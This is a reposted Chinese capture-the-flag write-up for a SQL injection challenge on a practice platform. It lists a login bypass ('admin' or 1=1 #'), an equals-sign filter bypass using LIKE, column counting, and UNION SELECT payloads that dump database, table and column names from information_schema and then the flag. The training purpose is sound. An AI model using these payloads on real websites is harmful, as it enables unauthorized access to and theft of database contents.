安鸾渗透实战平台|SQL数字型GET注入02

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安鸾渗透实战平台|SQL数字型GET注入02相关的知识,希望对你有一定的参考价值。

安鸾渗透实战平台|SQL数字型GET注入02

一、渗透靶场地址

http://whalwl.work:8034/

二、渗透实战

1.开始以为渗透后台,避免采坑

admin' or 1=1 #
123


直接就进入后台啦

2.实战开始,在搜索中输入1',报错

1'


3.当我们在后面加个#时,正常回显

1'#


4.判断orand,空格等号是否被过滤

1' or 1=1#

1' and 1=1#


根据报错信息,发现过滤了等号,使用like绕过

1' or 1 like 1#

1' and 1 like 1#


6.发现or,and,空格没有被绕过,接下来判断列

1' order by 1,2,3,4#


7.经过大量的测试,发现14列,遇到列比较多的情况时,使用二分法,比较快。(二分法:猜测有50列,使用25进行测)

1' order by 14,15#


8.接下来,判断显位点

-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14#


9.通过回显可以判断出,显位点是3,9这个两个位置

-1' union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14#

可以看到版本号的值

10.爆破数据库

-1' union select 1,2,3,4,5,6, 7,8,group_concat(schema_name) from information_schema.schemata,10,11,12,13,14#

报错,觉得长度被截断,不能执行SQL注入

前面不是有两个注入点,那我们就将这条注入语句进行拆分

-1' union select 1,2,group_concat(schema_name),4,5,6, 7,8,from information_schema.schemata,10,11,12,13,14#

依然报错

上面的方法测试啦,也不行,就尝试注入点3和末尾拼接语句

-1' union select 1,2,group_concat(schema_name),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.schemata#


遇到了新的报错Illegal mix of collations for operation 'UNION',它的意思是指操作联合的非法排序规则

解决办法一:
使用十六进制的方式读取

-1' union select 1,2,group_concat(hex(schema_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.schemata#


然后利用十六进制转字符串,就可以得到数据库
解密网站:http://tool.haooyou.com/code?group=convert&type=hexToStr&charset=UTF-8

解决办法二:
使用binary方式解决字符集的问题

-1' union select 1,2,binary(group_concat(schema_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.schemata#


使用binary的方式,直接的到数据库的名称,成功爆破数据库

information_schema,cms,mysql,performance_schema 

11.爆表

-1' union select 1,2,binary(group_concat(table_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.tables where table_schema like 'cms'#


可以看到有个表名为this_is_flag
12.爆字段名

-1' union select 1,2,binary(group_concat(column_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.columns where table_schema like 'cms' and table_name like 'this_is_flag'#


得到两个字段名id,flag
13.爆破字段的内容

-1' union select 1,2,binary(group_concat(flag)),4,5,6, 7,8,9,10,11,12,13,14 from this_is_flag#


成功得到flag

三、知识点总结

1.本道题目比较新颖,在使用SQL注入的过程中,第一次遇到片接的情况,并且执行sql语句使用的是注入位置是注入点 + 字段后的内容

2.binary函数解决字符集的问题

四、参考链接

https://blog.csdn.net/aa18390583207/article/details/103378175

以上是关于安鸾渗透实战平台|SQL数字型GET注入02的主要内容,如果未能解决你的问题,请参考以下文章

靶场测试--安鸾渗透实战平台

pikachu漏洞平台sql注入 之 数字型注入

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)

SQL手工注入知识回顾

渗透测试学习笔记

渗透测试学习笔记